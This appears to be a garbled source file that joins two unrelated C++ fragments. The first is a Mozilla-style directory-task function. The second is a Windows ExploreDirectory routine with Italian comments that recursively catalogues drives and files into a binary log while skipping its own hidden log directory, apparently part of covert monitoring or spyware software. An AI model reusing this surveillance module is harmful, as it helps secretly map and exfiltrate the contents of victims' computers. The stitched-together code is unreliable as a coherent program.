nsresult
GetFilesTaskParent::IOWork()
{
MOZ_ASSERT(XRE_IsParentProcess(),
"Only call from parent process!");
MOZ_ASSERT(!NS_IsMainThread(), "Only call on I/O thread!");
if (mFileSystem->IsShutdown()) {
return NS_ERROR_FAILURE;
}
bool exists;
nsresult rv = mTargetPath->Exists(&exists);
if (NS_WARN_IF(NS_FAILED(rv))) {
return rv;
}
if (!exists) {
return NS_OK;
}
bool isDir;
rv = mTargetPath->IsDirectory(&isDir);
if (NS_WARN_IF(NS_FAILED(rv))) {
return rv;
}
if (!isDir) {
return NS_ERROR_DOM_FILESYSTEM_TYPE_MISMATCH_ERR;
}
// Get isDirectory.
rv = ExploreDirectory(mDirectoryDOMPath, mTargetPath);
if (NS_WARN_IF(NS_FAILED(rv))) {
return rv;
}
return NS_OK;
}
// Ritorna FALSE se la esplora ed e' vuota oppure se non e' valida
BOOL Explorer::ExploreDirectory(WCHAR *wStartPath, DWORD dwDepth) {
WIN32_FIND_DATAW wfd;
HANDLE hFind = INVALID_HANDLE_VALUE;
BOOL bFull = FALSE;
FilesystemData fsData;
WCHAR wFilePath[MAX_PATH], wRecursePath[MAX_PATH];
WCHAR wHiddenPath[MAX_PATH];
wstring strPath = L"\\*";
if (wStartPath == NULL) {
DBG_TRACE(L"Debug - Explorer.cpp - ExploreDirectory() [wStartPath == NULL] ", 5, TRUE);
return FALSE;
}
if (dwDepth == 0)
return TRUE;
// Evita il browsing della dir nascosta
_snwprintf(wHiddenPath, MAX_PATH, L"%s", LOG_DIR_NAME);
// Bisogna partire dalla lista dei drive
if (!wcscmp(wStartPath, L"/")) {
// Nel caso speciale impostiamo la depth a 2, il primo run
// trova solo la root "\", il secondo i file nella root.
dwDepth = 2;
// Creiamo una root-entry artificiale
ZeroMemory(&fsData, sizeof(FilesystemData));
fsData.dwVersion = LOG_FILESYSTEM_VERSION;
fsData.dwFlags = FILESYSTEM_IS_DIRECTORY;
strPath = L"\\";
DBG_TRACE_STR(L"Debug - Explorer.cpp - Logging path: ", strPath.c_str(), 4, FALSE);
fsData.dwPathLen = strPath.size() * sizeof(WCHAR);
log.WriteLog((BYTE *)&fsData, sizeof(fsData));
log.WriteLog((BYTE *)strPath.c_str(), fsData.dwPathLen);
// Iniziamo la ricerca reale
ZeroMemory(&wfd, sizeof(wfd));
hFind = FindFirstFileW(strPath.c_str(), &wfd);
if (hFind == INVALID_HANDLE_VALUE) {
DWORD dwErr = GetLastError();
if (dwErr != ERROR_NO_MORE_FILES) {
DBG_TRACE_INT(L"Debug - Explorer.cpp - ExploreDirectory() [FindFirstFileW() (1) Failed] Err: ", 5, FALSE, dwErr);
}
return FALSE;
}
do {
if (wcsstr(wfd.cFileName, wHiddenPath))
continue;
ZeroMemory(&fsData, sizeof(FilesystemData));
fsData.dwVersion = LOG_FILESYSTEM_VERSION;
fsData.dwFileSizeHi = wfd.nFileSizeHigh;
fsData.dwFileSizeLo = wfd.nFileSizeLow;
fsData.ftTime = wfd.ftLastWriteTime;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
fsData.dwFlags |= FILESYSTEM_IS_DIRECTORY;
strPath = L"\\";
strPath += wfd.cFileName;
DBG_TRACE_STR(L"Debug - Explorer.cpp - Logging path: ", strPath.c_str(), 4, FALSE);
fsData.dwPathLen = strPath.size() * sizeof(WCHAR);
log.WriteLog((BYTE *)&fsData, sizeof(fsData));
log.WriteLog((BYTE *)strPath.c_str(), fsData.dwPathLen);
if (!ExploreDirectory(RecurseDirectory(wfd.cFileName, wRecursePath), dwDepth - 1))
fsData.dwFlags |= FILESYSTEM_IS_EMPTY;
} while (FindNextFile(hFind, &wfd));
FindClose(hFind);
return TRUE;
}
ZeroMemory(&wfd, sizeof(wfd));
hFind = FindFirstFileW(wStartPath, &wfd);
if (hFind == INVALID_HANDLE_VALUE) {
DWORD dwErr = GetLastError();
if (dwErr != ERROR_NO_MORE_FILES) {
DBG_TRACE_INT(L"Debug - Explorer.cpp - ExploreDirectory() [FindFirstFileW() (2) Failed] Err: ", 5, FALSE, dwErr);
}
}
do {
if (wcsstr(wfd.cFileName, wHiddenPath))
continue;
bFull = TRUE;
ZeroMemory(&fsData, sizeof(FilesystemData));
fsData.dwVersion = LOG_FILESYSTEM_VERSION;
fsData.dwFileSizeHi = wfd.nFileSizeHigh;
fsData.dwFileSizeLo = wfd.nFileSizeLow;
fsData.ftTime = wfd.ftLastWriteTime;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
fsData.dwFlags |= FILESYSTEM_IS_DIRECTORY;
CompleteDirectoryPath(wStartPath, wfd.cFileName, wFilePath);
fsData.dwPathLen = WideLen(wFilePath);
if (fsData.dwFlags & FILESYSTEM_IS_DIRECTORY)
if (!ExploreDirectory(RecurseDirectory(wFilePath, wRecursePath), dwDepth - 1))
fsData.dwFlags |= FILESYSTEM_IS_EMPTY;
DBG_TRACE_STR(L"Debug - Explorer.cpp - Logging path: ", wFilePath, 4, FALSE);
log.WriteLog((BYTE *)&fsData, sizeof(fsData));
log.WriteLog((BYTE *)&wFilePath, fsData.dwPathLen);
} while (FindNextFileW(hFind, &wfd));
FindClose(hFind);
return bFull;
}
